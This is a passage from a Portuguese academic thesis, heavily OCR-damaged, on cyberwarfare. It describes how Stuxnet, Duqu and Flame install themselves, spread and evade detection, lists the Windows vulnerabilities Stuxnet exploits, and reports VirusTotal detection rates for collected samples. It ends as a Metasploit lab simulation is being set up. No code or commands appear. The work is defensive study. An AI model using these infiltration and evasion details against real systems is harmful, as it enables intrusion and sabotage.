é uma grande mudanca. A tecnologia se tornou uma arma que ao se pressionar um botdo pode

se iniciar uma guerra. Conforme vemos em BRASIL (2012, p.53): “s6 existe soberania de fato
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com defesa forte, isto é, com Forgcas Armadas adequadamente equipadas e adestradas, em
condigdes de atuar de forma conjunta em quaisquer cenarios, especialmente ante os cenérios de
ameagcas cada vez mais difusas”.

O uso do espaco cibernético para ataques as nacées vem se tornando a cada dia uma
realidade, cada vez mais a tecnologia vem sendo usada como arma, casos vém aparecendo na
midia com mais frequéncia. Abaixo vermos alguns casos que tiveram grande repercussdo na
midia, os quais foram tratados por Jodo Roberto de Oliveira no livro Desafios Estratégicos Para
Seguranca e Defesa Cibernética (2011, p.114):

a) De 2003 a 2006: nesse periodo, diversas instalagdes estratégicas dos
Estados Unidos da América (EUA), como laboratérios de pesquisa voltados a
inovacdes tecnoldgicas, foram alvos de tentativas de penetracdo em seus
sistemas informatizados, provavelmente com o intuito de apropriar-se de
conhecimento sensivel.

b) Abril/maio de 2007: ocorréncias de ataques massivos a redes
estratégicas da Estonia, causando degeneracdo no seu funcionamento. Esse
episodio ocasionou a instalagdo de um Centro de Defesa Cibernética, pela
Organizacédo do Tratado do Atlantico Norte (Otan), no territdrio estoniano.

C) Setembro de 2007: suposta agdo de “apropriagdo” do controle do
sistema de defesa aérea da Siria, antecedendo ao bombardeio aéreo israelense
contra instalagdes em construcdo naquele pais, que seriam destinadas a apoiar
0 processo de producdo de armas nucleares (CLARKE, 2010, p. 1-9).

d) Agosto de 2008: ocorréncias de ataques massivos a redes estratégicas
da Georgia, inclusive de Defesa, antecedendo a acdo de tropas russas no
territério da Ossétia do Sul.

e) Julho de 2009: ataques a sitios eletrénicos importantes dos EUA e da
Coreia do Sul e suposta tentativa de penetracdo no sistema de controle de
fornecimento de energia elétrica norte-americano.

f) Setembro/outubro de 2010: ataques aos sistemas de controle de
infraestruturas nucleares do Ird e a sistemas estratégicos de outros paises,
utilizando o sofisticado software (Worm) denominado Stuxnet.

De acordo com Braquinho (2012), os ataques cibernéticos estdo cada vez mais
poderosos e perigosos. E sé imaginarmos que a agua que bebemos, a eletricidade que chega as
nossas casas, a sinalizagdo dos transportes de massa (inclusive aéreos), o controle de usinas
hidroelétricas e nucleares séo controlados por sistemas de computacao que podem ser potenciais
alvos de Hackers do mundo inteiro.
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O crescente aumento das ameacas cibernéticas vem ocasionando iniciativas de
desenvolvimento de sistemas de protecdo a ataques cibernéticos, a defesa cibernética. A
preocupacdo com a defesa cibernética € um fator que vem fazendo paises como os Estados
Unidos, a Correia do Sul, a China, a RUssia, a Inglaterra, a india e o Brasil criarem leis e centros
especializados em defesa cibernética. As acGes militares estdo cada vez mais dependentes do
aparato tecnoldgico, diante isso, buscar medidas para neutralizar o desenvolvimento do inimigo
tornou-se uma grande preocupagéo.

Segundo Bernardo Wahl (2012), assim como um submarino nuclear ou um avido de
combate invisivel podem atacar e desaparecer sem deixar rastros, da mesma forma, pode agir
um agressor cibernético.

Por esse motivo as armas cibernéticas estdo entrando em cena, elas podem causar uma
catastrofe equivalente as armas convencionais sem ter a necessidade de locomover toda uma
tropa de soldados, com 0s mais variados tipos de armamentos, com os mais variados tipos de
veiculos e sem todo o custo e tempo inerentes a isso.

De acordo com Bernardo Wahl (2012), a principal diferenca é que apenas 0s paises mais
desenvolvidos tém condicBes de produzir um submarino nuclear e/ou um avido de combate
invisivel, enquanto as armas cibernéticas, cada vez mais poderosas e invisiveis, estdo ao alcance
de atores ndo-estatais.

Na guerra cibernética deixa-se claro o pensamento dos Estados-Nacdo no século XXI,
0 qual é explorar ao maximo a imensiddo do espaco cibernético abandonando, na medida do
possivel, a ideia do “super soldado”, ou seja, comega-Se a investir na capacidade mental do
individuo e ndo mais em sua forca fisica.

De acordo com Clarke (2015), ndo precisamos de soldados atléticos que consigam correr
8 km carregando uma mochila, precisamos de pessoas que consigam derrubar uma rede elétrica.

Vale salientar que ainda ha na¢des que, seja por motivos religiosos, tradi¢do ou falta de
recursos, ndo tém uma infraestrutura tecnoldgica, elas ainda detém, na grande maioria, de seus
recursos baseados na manufatura, sendo assim, uma guerra cibernética € ineficaz contra esses
inimigos.

Segundo Steed (2011), se o "poder" é a capacidade de A fazer com que B faga algo que
B ndo faria de outra maneira, o poder cibernético é apenas o poder na medida em que a outra
pessoa esta em rede. O que isto significa € que o poder cibernético para coagir um inimigo para
cumprir sua vontade € diretamente proporcional a forma como ele se encontra em rede, quanto

mais ele estiver em rede, maior a relevancia estratégica e capacidade de pressionar o inimigo
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com o poder cibernético. Se ele ndo esta em rede, o poder cibernético ndo é uma ferramenta

significativa de estratégia no caso deste inimigo.

6 MALWARES EM GUERRA CIBERNETICA

Os Malwares vém tendo participagdo significativa na guerra cibernética, justamente
pelo fato de conseguir se infiltrar sorrateiramente nos dispositivos, tornando sua identificacéo
tardia ou até mesmo imperceptivel. Casos como o Stuxnet, o Duqu e o Flame vém surgindo na
midia neste seculo.

Foi gracas aos Malwares citados anteriormente, principalmente, ao Stuxnet, que se
comecou a acreditar em um ataque cibernético de alta escala e deixou-se de ignorar casos como
o do Ird, no qual aproximadamente 30 mil sistemas foram atacados pelo Stuxnet, demonstrando
assim o potencial das armas cibernéticas. Logo ap0s este ataque, a Suiga criou um grupo para

responder a possiveis ataques que o pais possa sofrer, usando recursos computacionais.

6.1 STUXNET

O exemplo mais falado foi o0 do Stuxnet em 2010, o qual demonstrou o risco potencial
de um Malware afetar os sistemas informaticos criticos de uma nacdo, mas acredita-se que ele
tenha sido desenvolvido e posto em execucdo bem antes. O quadro abaixo mostra a linha do

tempo de algumas detec¢des do Malware.

Quadro de linha do tempo Stuxnet

(continua)

Data Evento

Trojan.Zlob variante encontrada utiliza a vulnerabilidade LNK sé mais tarde

20/11/2008 identificado no Stuxnet.

Revista Seguranca Hakin9 libera detalhes de uma vulnerabilidade de
04/2009 execucdo remota de codigo no servigo Spooler de impressora. Mais tarde
identificado como MS10-061.

Primeira amostra Stuxnet vista. Nao explora MS10-046. Nao tem arquivos de

LS L S ——"—
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Quadro de linha do tempo Stuxnet

(continua)
Data Evento
02/01/2010 Driver do Stuxnet assinado com um certificado valido que pertence ao
Realtek Semiconductor Corps.
03/2010 Primeira variante Stuxnet para explorar MS10-046.
VirusBlokAda relata W32.Stuxnet (RootkitTmphider nomeado). Relatos de
17/06/2010 que ele estd usando uma vulnerabilidade no processamento de
atalhos/arquivos .Ink, a fim de propagar (mais tarde identificado como MS10-
046).
13/07/2010 Symantec acrescenFa deteccdo como W32.Temphid (previamente detectado
como cavalo de troia).
Microsoft Security Advisory emite para "Vulnerabilidade no Windows Shell
16/07/2010 pode permitir a execucdo remota de codigo (2286198)" que cobre a
vulnerabilidade no processamento de atalhos/arquivos .Ink.
Verisign revoga certificado Realtek Semiconductor Corps.
ESET identifica um novo Driver Stuxnet, desta vez assinado com um
L0/ 2000 certificado da JMicron Technology Corp.
Relatdrio Siemens que estdo investigando relatos de Malware que infectam os
19/07/2010 | sistemas SCADA Siemens WinCC.
Symantec renomeia deteccdo de W32.Stuxnet.
20/07/2010 | Symantec monitora o trafego Stuxnet com Servidor de Comando e Controle.
22/07/2010 | Verisign revoga o certificado JMicron Tecnologia Corps.
Microsoft emite MS10-046, que corrige a vulnerabilidade de atalho do
02/08/2010 Windows Shell.
06/08/2010 Symantec relata como Stuxnet pode injetar e esconder coédigo em um PLC

afetando os sistemas de controle industrial.
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Quadro de linha do tempo Stuxnet
(concluséo)

Microsoft libera MS10-061 para corrigir a vulnerabilidade de Spooler de
impressao identificado pela Symantec em agosto.

14/09/2010
Microsoft relata duas outras vulnerabilidades de elevagdo de privilégios
identificados pela Symantec em agosto.

30/09/2010 | Symantec apresenta pelo Virus Bulletin e libera andlise abrangente do Stuxnet.

Fonte: Adaptado de Falliere, Murchu e Chien (2011).

O Stuxnet é um Malware projetado para atacar sistemas de controle industrial, mais

especificamente o software SCADA, da empresa Siemens. Mas de acordo com Matrosov et al.

(2010), no entanto, ele também tem como alvo Controladores Ldgicos Programaveis (PLCs).
em redes que utilizam sistemas SIMATIC WinCC Siemens ou STEP 7 SCADA (Supervisory

Control e Aquisi¢do de Dados).

O SCADA é um software responsavel por supervisionar equipamentos em ambientes

industriais. Acredita-se que o alvo do Stuxnet eram as usinas nucleares Iranianas, pois foi o pais

que mais foi afetado pelo Malware, como pode ser visto na Figura 6, a qual mostra 0 nimero

de Hosts infectados por pais. Em 2010, o Stuxnet foi responsavel por inutilizar 1000 centrifugas

na Usina Nuclear de Natanz, no Ira.
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Figura 6 — Infecgdo do Stuxnet
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Fonte: Falliere, Murchu e Chien (2011).

Ele explora quatro vulnerabilidades “Zero-day” (falha de seguranga que o fabricante
ndo tem conhecimento, ndo estd documentada e ndo ha correcdo), em sistemas Microsoft, para
entrar e infectar o sistema. Para ndo ser identificado ele usa dois certificados digitais validos
roubados da Realtek e da JMicron.

Esse Worm se propaga através de pen drives procurando por computadores com o
software SCADA, ap6s identifica-lo ele se instala no sistema e se propaga pela rede infectando
outros computadores, bem como quaisquer Drives removiveis conectados ao computador

infectado, a Figura 07 demonstra esse procedimento.
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Figura 7 — Propagacédo Stuxnet
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Fonte: Adaptado de BROAD, William J., MARKOFF, John; SANGER,
David E. (2011).

De acordo com Randy Abrams (2010), a assinatura digital em um arquivo diz que o
arquivo nao foi adulterado ou corrompido. Se um virus infecta um arquivo depois dele ter sido
assinado digitalmente, ele quebra a assinatura digital e 0 Windows ndo ird executar o arquivo.
Agora se um arquivo esta infectado e, em seguida, € assinado digitalmente, isso significa que
vocé tem um Malware funcional em um programa que tem uma assinatura digital valida.

Ao infectar um computador, ele passa por um periodo de stand by e fica escondido por
varios dias. Apoés este periodo, ele procura o software usado para programar os controladores
Siemens e comec¢a a molda-lo da maneira que lhe é pre-programado, assim, ele regula os

motores de centrifugas e outras maquinas. O Stuxnet passa a acelerar e desacelerar os motores
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para danificar ou destruir as maquinas. Enquanto faz a modificacdo na rotacéo das centrifugas,
ele envia falsos sinais para o sistema, dizendo que esta tudo funcionando normalmente.

Se 0 Worm identificar que o computador hospedeiro tem acesso a Internet, ele verifica
se ha atualizacGes de sua versdo e tenta baixa-las e instala-las.

O codigo do Stuxnet é complexo. Ele contém um arquivo com extenséo .dll (Dynamic-
Link Library) e contém blocos criptografados. Seu codigo é altamente modular, o qual analisa
amelhor maneira de se infiltrar no sistema e pode variar essa infiltracdo. Além disso, o0 Malware
analisa qual é a versdo do sistema operacional e o nivel de hierarquia do usuario conectado ao
computador durante a infeccdo, caso ndo seja o administrador, ele executa um codigo para subir
o nivel de privilégios.

Segundo a Microsoft (2007), um arquivo de biblioteca de vinculo dindmico (DLL) é um
arquivo executavel que permite que os programas de compartilhamento de cddigo e outros
recursos necessarios executem determinadas tarefas. O Microsoft Windows fornece arquivos
.dIl que contém funcGes e recursos que permitem que 0s programas baseados no Windows

operem no ambiente Windows.

6.1.1 Vulnerabilidades Exploradas

O Stuxnet usa as seguintes vulnerabilidades no Windows: MS08-067, a qual se espalha
pela rede da mesma forma que o DOWNAD/Conficker fez; MS10-46, a qual permite que ele
se espalhe por meio de unidades removiveis mesmo se o Autorun estiver desabilitado; MS10-
061, a qual se espalha por meio de redes, se um sistema compartilhar uma impressora na rede;
e a MS10-073, a qual escala o nivel de privilégio até o administrador do sistema, permitindo
que ele realize qualquer tarefa que desejar na maquina local. Ele as utiliza para se infiltrar,
instalar-se e se propagar no ambiente alvo. Atingindo com sucesso essas vulnerabilidades, ele

garante sua permanéncia e execucao no sistema.

6.1.1.1 MS08-067
Essa falha permite a execucdo remota no Windows. De acordo com a Microsoft (2008),
o0 invasor que explorar com éxito essa vulnerabilidade podera assumir o controle total de um
sistema afetado.
O Stuxnet explora essa falha e consegue acessar remotamente uma maquina que nao esta
com a falha corrigida, a qual esta desatualizada. A partir dai ele faz uma copia de si mesmo para

a maquina, faz sua instalagdo e continua sua propagacéo.
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De acordo com Falliere, Murchu e Chien (2011), o Stuxnet ira verificar as seguintes
condigdes antes de explorar MS08-67: a data atual deve ser antes de 1 de janeiro de 2030; as
defini¢bes de antivirus para uma variedade de produtos antivirus deve ser datado antes de 01
de janeiro de 2009 e 0 Kernel32.dll e Netapi32.dll timestamps apos 12 outubro de 2008 (antes
do dia patch).

6.1.1.2 MS10-046

Esta é uma falha no tratamento de atalhos. O Windows interpreta errado, deixando-o
vulneravel.

De acordo com a Microsoft (2010), a vulnerabilidade existe porque o Windows analisa
atalhos incorretamente de maneira que seja possivel executar um cddigo mal-intencionado
guando o sistema operacional exibir o icone de atalho deste arquivo.

Esta falha permite que um codigo malicioso crie um atalho para um acesso, outro
Malware, entre outros. O dispositivo pode ser infectado através da navegacdo pelo Windows
Explorer acessando uma unidade removivel ou por compartilhamento de rede.

De acordo com por Massod, Ghazia e Anwar (2011), como arquivos de atalho apontam
para o local original do recurso, Stuxnet usa essa funcionalidade para redirecionar arquivos de
atalho para a sua DLL maliciosa.

A MS10-046 é conhecida como vulnerabilidade de arquivo .LNK (arquivos de atalho),
tem grande aplicabilidade devido ao fato que todo software que € instalado gera um atalho,
substitui-lo da maneira correta, fara com que o atacante consiga éxito.

Segundo Matrosov et al. (2010), poucos dias ap06s o debate publico sobre o cédigo de
exploracdo PoC (do inglés Proof-of-Concept) disponivel para a vulnerabilidade .LNK, o
Metasploit Framework lancou um cédigo incluindo a implementacdo do Exploit, a fim de
permitir ataques remotos.

6.1.1.3 MS10-061

Essa vulnerabilidade permite que através de uma brecha no Spooler de impressao,
usuarios ndo autenticados possam acessar as configuracdes remotamente e aumentar o nivel de
permissdo dos usuarios. De acordo com a Microsoft (2010), um invasor podera instalar
programas, visualizar, alterar ou excluir dados, ou ainda criar novas contas.

6.1.1.4 MS10-073

Essa vulnerabilidade é mais uma de elevacédo de privilégios, mas dessa vez uma falha

no agendador de tarefa, onde captura e se utiliza de um ponteiro, substituindo seu valor,

injetando uma parte do codigo do Malware.
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Segundo a Microsoft (2010), existe uma vulnerabilidade de elevacdo de privilégio
devido a maneira como os Drivers do modo do Kernel do Windows mantém a contagem de
referéncia para um objeto.

De acordo com Falliere, Murchu e Chien (2011), a vulnerabilidade reside no cédigo que
chama uma fungdo em uma tabela ponteiro de funcéo; no entanto, o indice da tabela nédo é

validado, permitindo corretamente que o cddigo seja chamado de fora da tabela de fungdes.

6.2 DUQU

Em 14 de outubro de 2011, o Laboratdrio de Criptografia e Seguranca de Sistema
(Laboratory of Cryptography and System Security (CrySyS)) da Universidade de Tecnologia e
Economia de Budapeste, Hungria, publicou um documento que alertava para outro Malware, o
Duqu.

O Duqu é um Trojan que tem como objetivo ser um Backdoor que ira facilitar o acesso
ao sistema e, assim, o furto de informacao, mas também pode roubar informacdes contidas nos
computadores infectados. Ele recebeu este nome por criar arquivos que comegam com “~DQ”.
O Duqu contém trés arquivos: um arquivo Driver, um arquivo DLL e um arquivo criptografado.

O Trojan se utiliza de um certificado digital valido da empresa C-Média. Ele possui em
seu cddigo uma configuracdo que o mantém operando por trinta dias, por padrdo, decorrido
esse periodo o Malware se remove automaticamente. Isso faz com que sua deteccdo seja
dificultada.

De acordo com a Symantec (2011), em um dos casos, 0s atacantes usaram um e-mail
contendo um documento do Microsoft Word especificamente criado para a infecgdo. O
documento do Word continha um Exploit com uma Zero-day, ndo conhecida, que afetava o
Kernel do sistema; sendo, assim, capaz de instalar o Duqu.

O processo de infiltragdo e instalacdo do Duqu, como mostra a Figura 8, é da seguinte
forma: quando o documento Word & aberto é explorada a vulnerabilidade no Kernel que, por
sua vez, permite a execucdo dos codigos maliciosos (1). Quando o arquivo infectado €
executado, o Exploit realiza uma varredura nos registros do Windows (2) para verificar se o
computador j& se encontra infectado, caso ja tenha ocorrido a infeccdo a operagéo ¢é abortada,
caso ndo, ele executa o arquivo Driver (3 - 4) que injeta cddigos no arquivo services.exe (5);
em seguida, executa um instalador DLL e limpa a memoria. O instalador DLL descriptografa o
outro arquivo e extrai de dentro dele mais trés arquivos: Main dll, Driver e um arquivo de

configuracdo do instalador (6). O arquivo Driver sera o responsavel por iniciar o Duqu quando
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o sistema inicializar. O arquivo de configuracao do instalador possui um crondmetro que analisa
0 tempo de instalagdo do Malware, caso ele ndo seja instalado no prazo, a instalacdo é
cancelada. O Main dll ira se copiar para %Windir%\infz e serda inicializado com o sistema.

O Duqu pode ser visto como uma ferramenta que coleta as informac6es necessarias do
sistema ao qual quer atacar, permitindo o acesso e o teste de vulnerabilidade. Apos essa coleta,
o criador do Trojan desenvolve um Malware para um ataque especifico. Pode-se afirmar que o
Stuxnet foi desenvolvido ap6s um software semelhante ou até uma versao anterior do Duqu que
ndo foi detectada, ter feito a varredura do sistema do alvo.

Foi relatado que o Stuxnet e o Duqu tém diversas semelhangas, desde o designer do
codigo até técnicas de infiltracdo. Muitos estudiosos dos dois Malwares acreditam que eles

devem ter sido desenvolvidos pela mesma equipe ou no minimo que elas tenham compartilhado

informacdes.
Figura 8 — Instalacdo do Duqu
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Fonte: Falliere, Murchu e Chien (2011).
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6.3 FLAME (OU SKYWIPER)

Entre os Malwares que apareceram neste inicio de guerra cibernética, encontra-se o
Flame, um Malware que pode ser considerado uma arma cibernética de espionagem.
Programado em linguagem LUA, consegue capturar o teclado, a tela, os sons captados pelo
microfone, dispositivos de armazenamento, rede, WiFi, Bluetooth, USB e envia-los ao seu
desenvolvedor.

Ap0s o sistema estar infectado, ele cria arquivos temporarios, como mostra 0 quadro
abaixo, executa seus modulos (um apds o outro com uma diferenca de tempo de dois minutos,

aproximadamente) e seus Scripts desenvolvidos em linguagem de programagao LUA.

Quadro de Arquivos temporéarios do Flame

Nome do Arquivo Funcao
~DEB93D.tmp Arquivo criptografado contendo banco de
dados SQLite de pesquisas de bloqueadores
neuromusculares.
~HLV084.tmp Partes comprimidas contém informacgdes
sobre 0s processos em execucao.
~HLV294.tmp Finalidade desconhecida. Este e 4 ou 5

arquivos semelhantes, muitas vezes
aparecem em sistemas infectados.

~KWI<> Pecas comprimidas contém informagdes
sobre 0s processos em execucao.
~rf<number>.tmp Contém o arquivo completo com listagem do

computador infectado em SQLite 3 formado
de base de dados e criptografados.

Fonte: Adaptado pelo autor de Skywiper Analysis Team (2012).

A Figura 9 mostra a sequéncia de inicializacdo dos médulos do Flame, a qual sera

explicada em seguida.
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Figura 9 — Inicializagdo do Flame
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Fonte: Skywiper Analysis Team (2012).

Na inicializacdo do sistema é carregado o modulo principal, 0 mssegmgr.ocx, ele é
carregado como se fosse um pacote de autenticacao local do Windows, ou seja, um (LSA) Local
Security Authority. Cerca de 2 minutos depois advnetcfg.ocx é carregado por services.exe. Esse
processo é repetido a cada 2 a 3 minutos, 3 vezes no total. Cerca de 2 minutos depois, 0
services.exe carrega 0 nteps32.0cx de mssecmgr.ocx €, em seguida, 0 winlogon.exe também
carrega o nteps32.ocx. Este arquivo é carregado varias vezes. Enquanto isso, explorer.exe inicia
5 processos iexplore que subsequentemente criam wpgfilter.dat. Novamente, 2 minutos depois,
0 ccalc32.sys € escrito por services.exe e, em 1 minuto, o winlogon.exe o carrega. Em seguida,
0 mssecmgr.ocx € copiado para wavsup3.drv. Depois, 0 boot32drv.sys é carregado por
services.exe.

O Flame tem métodos de protecdo contra programas anti-Malwares. Ele detecta o
programa de seguranca que esta instalado e modifica as extens@es de seus arquivos para nao ser
detectado. Dentre outros motivos, essa mutacdo deve ser uma das causas do Flame ter se
espalhado grandemente em alguns paises do Oriente Médio, conforme pode ser observado na
Figura 10, suspeita-se que 0 ataque tem como motivagdo atacar o programa nuclear iraniano e

foi comandado pelos Estados Unidos e por Israel.
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Figura 10 — Propagacéo do Flame
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Fonte: THE FLAME (2012).

6.4 MALWARES: DA GUERRA CIBERNETICA A GUERRA

Como visto anteriormente, a guerra cibernética é uma guerra no mundo digital, que pode
ser levada ao mundo real. O cddigo malicioso pode ser a porta pela qual essa transi¢do pode
ocorrer. O uso dos Malwares como armas cibernéticas pode desencadear uma guerra real.

Existem trés cenarios de guerra cibernética que sao, segundo Anchises (2011), uma
guerra tradicional usando recursos digitais. Um Cyber ataque causando um Cyber conflito € um

Cyber ataque causando uma resposta convencional (guerra tradicional).

6.4.1 Cenarios possiveis
Baseando-se no que disse Anchises (2011), pode-se exemplificar cenarios da guerra em
situacOes que realmente podem acontecer.
No primeiro caso, a guerra tradicional usando recursos da guerra cibernética, pode ser
exemplificado da seguinte maneira: uma das nag¢des invade o sistema do inimigo e interrompe

as comunicagdes do quartel general com os pelotdes que se encontram na frente da batalha.
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Sendo assim, sem as devidas informag6es/ordens, a nagdo atacada ndo saberé onde e/ou quando
agir, ou até mesmo pode ser induzida por uma mensagem falsa a “cair” em uma armadilha.

Um caso real desse cenario foi na Guerra Russo-Georgiano, onde enquanto as tropas
russas invadiam a Gedrgia, os sistemas de comunicacdo da Geodrgia foram derrubados por
DDOS feito pelos russos. De acordo com Vianna (2013), o ataque cibernético coincidiu com
acOes de combate em terra, no mar e no ar desferida por um pais contra o outro.

Ja no caso de Cyber ataque causando um Cyber conflito é ilustrado pelo fato de ao
receber um ataque cibernético, o pais atacado revida com outro ataque cibernético.

Para finalizar, tem o cenério de um ataque cibernético causar uma guerra tradicional,
para muitos € a possibilidade mais real e que mais se teme. Nesse cenario o pais, ao identificar
um ataque ou espionagem cibernética, responde pondo os soldados em campo de batalha,
invadindo outro pais, disparando misseis, entre outros.

Ap0s analisar esses trés cenarios, pode-se enxergar que uma nagdo pode infiltrar um
cdédigo malicioso no sistema de outra e derrubar o sistema financeiro, a bolsa de valores, 0s
bancos, 0os meios de comunicacdo, 0s sistemas de aeroportos e atacar os sites das forcas
armadas. A partir dai poderiam tomar conta do langcamento de misseis e dizimar o pais com
suas proprias armas ou até mesmo “sequestrar” um VANT e atacar uma terceira nacao e culpar
outro pais.

De acordo com Santos Junior (2013), a Revista Wired reportou que um virus tinha
infectado um sistema de controle de VANT norte-americano, capturando o que era digitado nas
cabines de pilotagem dos drones na Base Aérea de Creech, em Nevada.

As ameacas baseadas em Malwares sdo possiveis devido ao fato de os sistemas dos
veiculos aéreos ndo tripulados poderem utilizar redes baseadas em protocolos TCP/IP (pilha de
protocolos bastante usado na Internet) para que as GCS se conectem com centros de controle,
de onde s&o enviadas as informacdes para atacar ou ndo certo alvo, por exemplo, confirmando
dados ou obtendo informacdes sigilosas. O que torna um risco elevado a operacdo dessas
aeronaves, pois caso seja criada uma Advanced Persistent Threat (APT) — em portugués
Ameaca Avancada Persistente — com a finalidade de atacar este sistema propriamente dito, é

dificil saber a proporcéo dos prejuizos que podem acontecer (SANTOS JUNIOR, 2013).

43



7 AMBIENTE DE TESTE E ANALISES

Para o desenvolvimento deste trabalho serdo apresentados estudos sobre a deteccdo de
dois dos Malwares ja apresentados neste trabalho, o Stuxnet e o Flame, os quais foram
escolhidos por estarem em grande destaque devido a sua utilizacdo para atacar varios paises
nos Ultimos anos. Para esta analise foi utilizada a ferramenta online Virus Total, por se tratar de
um servico online e gratuito, o qual faz a analise de arquivos e URLS e possibilita a identificacao
de conteudo malicioso detectavel pelos antivirus.

A Virus Total é uma subsidiaria do Google. Ela permite a identificacdo de virus, Worms,
Trojans e outros tipos de contetdos maliciosos detectados por varios mecanismos de antivirus
e scanners. Ao mesmo tempo, ele pode ser utilizado como um meio para detectar os falsos
positivos, ou seja, 0s recursos indcuos detectados como maliciosos por um ou mais scanners
(VIRUS TOTAL, 2015, traducio nossa).?

Também sera feita uma ambientacdo do funcionamento do Stuxnet. Serd montado um
ambiente virtualizado reproduzindo um ambiente similar ao que ¢ apresentado no artigo SWAM
Stuxnet Worm Analysis in Metasploit (MASSOD; GHAZIA; ANWAR, 2011).

7.1 VIRUS TOTAL

Apos baixar os arquivos do Stuxnet e do Flame eles foram submetidos ao site do Virus
Total que, por sua vez, informou a taxa de detec¢do dos Malwares pelos antivirus encontrados
no mercado atualmente, como o McAfee, Malware Protection e o Avast! Antivirus.

Para o Flame foram usadas trés amostras diferentes: UnPackMe_Flame Packer I1.exe,
flamer.zip e AdditionalFlamer. A analise encontrou dois resultados diferentes, os quais sdo
explicados abaixo.

A ferramenta Virus Total analisou as trés amostras do Flame e demostrou que para a
amostra UnPackMe_Flame Packer Il.exe a taxa de detecgdo foi 5/57, isso quer dizer que a
ferramenta submeteu o arquivo a cingquenta e sete antivirus e somente cinco deles identificaram
0 arquivo como uma ameaca. Para o arquivo flamer.zip a taxa de deteccdo foi 1/57 e para o
arquivo AdditionalFlamer a taxa foi a mesma, 1/57. Na Figura 11, pode-se observar os

resultados obtidos.

2 Texto original: VirusTotal, a subsidiary of Google, is a free online service that analyzes files and URLSs enabling
the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and
website scanners. At the same time, it may be used as a means to detect false positives, i.e. innocuous resources
detected as malicious by one or more scanners.
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Figura 11 — Identificacdo do Flame

-5 (/pt/about/)
b total ~ .
A = Portugués Junte-se & comunidade Entrar

SHA256: 13e9e88a9el 119717231553 15(779155eda502a6683¢8c0b6d2B003e 1915d413 $

Nome do arquivo: UrPackMe_Flame Packer [l.exe

Taxa de detecgdo: 5157 ¢ 1 O

Data da andlise: 2015-03-01 05:05:15 UTC ( 1 minuto atras )

- (/pt/about/)
S| total ~ ,
- = Portugués Junte-se 4 comunidade Entrar

SHA256: 96d716294ac96bc 151a954faeac06de3l12e2fa74d3c048ddaal99%aff7 71301 $

Nome do arquivo: flamer.zip

Taxa de detec¢do: 1/57 ¢ 3 0

Data da analise: 2015-03-02 06:53:48 UTC ( 0 minutos atras )

- /prabout)
) total ~ ,
- W Portugués Junte-se 4 comunidade Entrar

SHA256: ef55128fcc2b0b8d 16bab8c575(e8287c8¢ 1790aclcSabeSbaba766/97aee019 $

Nome do arquivo: AdditionalFlamer.zip

Taxa de detecgdo: 1/57 c 1 O

Data da andlise: 2015-03-02 06:55:51 UTC ( 0 minutos atras )

Fonte: Elaboragdo propria em 2015.

Para o Stuxnet também foram utilizadas trés amostras: malware.exe, Stuxnet-
Sourcecode.rar e Stuxnet.rar. No arquivo malware.exe, a taxa de deteccdo foi 53/57, ou seja, a
ferramenta submeteu o arquivo a cinquenta e sete antivirus e somente cinquenta e trés deles
identificaram o arquivo como uma ameaca; para 0 arquivo Stuxnet-Sourcecode.rar a taxa de
deteccdo foi 0/57, ou seja, nenhum antivirus conseguiu identificar o arquivo como uma ameaca;

e para a amostra Stuxnet.rar a taxa de deteccao foi 0/56, conforme mostra a Figura 12.
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Figura 12 — Identificagdo do Stuxnet

. (/pt/about/)
b total - ,
- ™ Portugués Junte-se & comunidade Entrar

SHA256: 9c891edb5da763398969b6aaala5d4697 1bd28a455020c2067cb512¢9f9a08 vo

Nome do arquivo: malware.exe
Taxa de detecgdo: 53/ 57 c 65 4

Data da andlise: 2015-03-01 05:03:12 UTC ( 0 minutos atras )

- (/pt/about/)
2 total ~
— == Portugués Junte-se a comunidade Entrar

SHA256: 46¢ 1d4eaefbal1c0825d1339ea28d24b56ad924ba87cbi843771488b2f1a513b ¢

Nome do arquivo: Stuxnet-Sourcecode.rar

Taxa de detecgo: 0/57 ¢ 4 O

Data da analise: 2015-03-02 07:03:37 UTC ( 1 minuto atras )

S (/pt/about/)
) total ~ .
- s Portugués Junte-se 4 comunidade Entrar

SHA256: e02ed3b8c213bcffb4edf5517591( 078c64696d54| 5472a53 $
Nome do arquivo: StuxNet.rar

Taxa de detecgio: 0/ 56 c 6 O

Data da analise: 2015-03402 07:03:18 UTC ( 0 minutos atras )

Fonte: Elaboracdo propria em 2015.

Diante do que foi relatado pela ferramenta, pode-se afirmar que todos os dois cédigos
maliciosos ainda tém chance de causar danos nos dispositivos, uma vez que passam
despercebidos pela maioria dos antivirus encontrados no mercado. O que ndo deveria acontecer,
ja que é notério o grau de periculosidade dos mesmos e também o fato de terem sidos
descobertos ha muito tempo, ou seja, ndo s@o ameacgas recentes, portanto, ja houve tempo
suficiente para os antivirus serem atualizados e, consequentemente, conseguirem identifica-los
e remové-los. Sao essas fragilidades de atualizag&o, entre outras, que fazem com que o Malware

se torne uma arma silenciosa.

7.2 SIMULACAO
A simulacgdo sera realizada somente com o Stuxnet, ficando a simulagdo do Flame para

estudos futuros.
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O Stuxnet foi desenvolvido para se propagar até encontrar uma rede industrial com a
presenca de PLCs e softwares especificos, como 0 SCADA, e se instalar. Apds a instalacéo, ele
danifica o sistema.

Tendo em vista a dificuldade de se conseguir tal ambiente, sera reproduzido neste
trabalho um cenario semelhante a simulacdo feita por Massod, Ghazia e Anwar em 2011, na
qual os autores reproduziram um cenario em ambiente virtualizado que explora falhas Zero-day
no sistema operacional Windows que o Stuxnet se utiliza para infectar e se propagar.

Eles simularam trés vulnerabilidades de Worm Stuxnet através do Metasploit
Framework, o qual € um Hacking framework de cddigo aberto escrito em linguagem Ruby. Ele
é usado para explorar, executar e escrever o codigo para vulnerabilidades e também pode ser
usado para configurar a construcdo de Exploits e seus Payloads, os quais séo Uteis para a analise.
Ele tem outras utilizacGes para os Hackers, como testes de penetracao, quebra de senha e muito
mais.

O Stuxnet infecta uma maquina inicialmente por um dispositivo USB. Apds a infecc¢éo,
ele busca se propagar pela rede explorando as falhas citadas anteriormente. Para simular isso
sera usado o0 Metasploit Framework versdo 4.11.1, através desta ferramenta sera feita 0 acesso
as maquinas da rede.

O laboratério montado consiste em ambiente virtualizado utilizando o software VM
VirtualBox, versdo 4.2.16 r86992, da empresa Oracle. Com 0 VM VirtualBox pode-se instalar
varios sistemas operacionais distintos, os quais funcionaram hospedados em um sistema
operacional ligado direto ao hardware e as maquinas virtualizadas podem se comunicar em rede
interna e com a internet.

As maquinas virtualizadas para este trabalho possuiam o sistema operacional Kali Linux
ver 1.0 e o sistema operacional Kali Linux, no papel de atacante; e a alvo, o sistema operacional
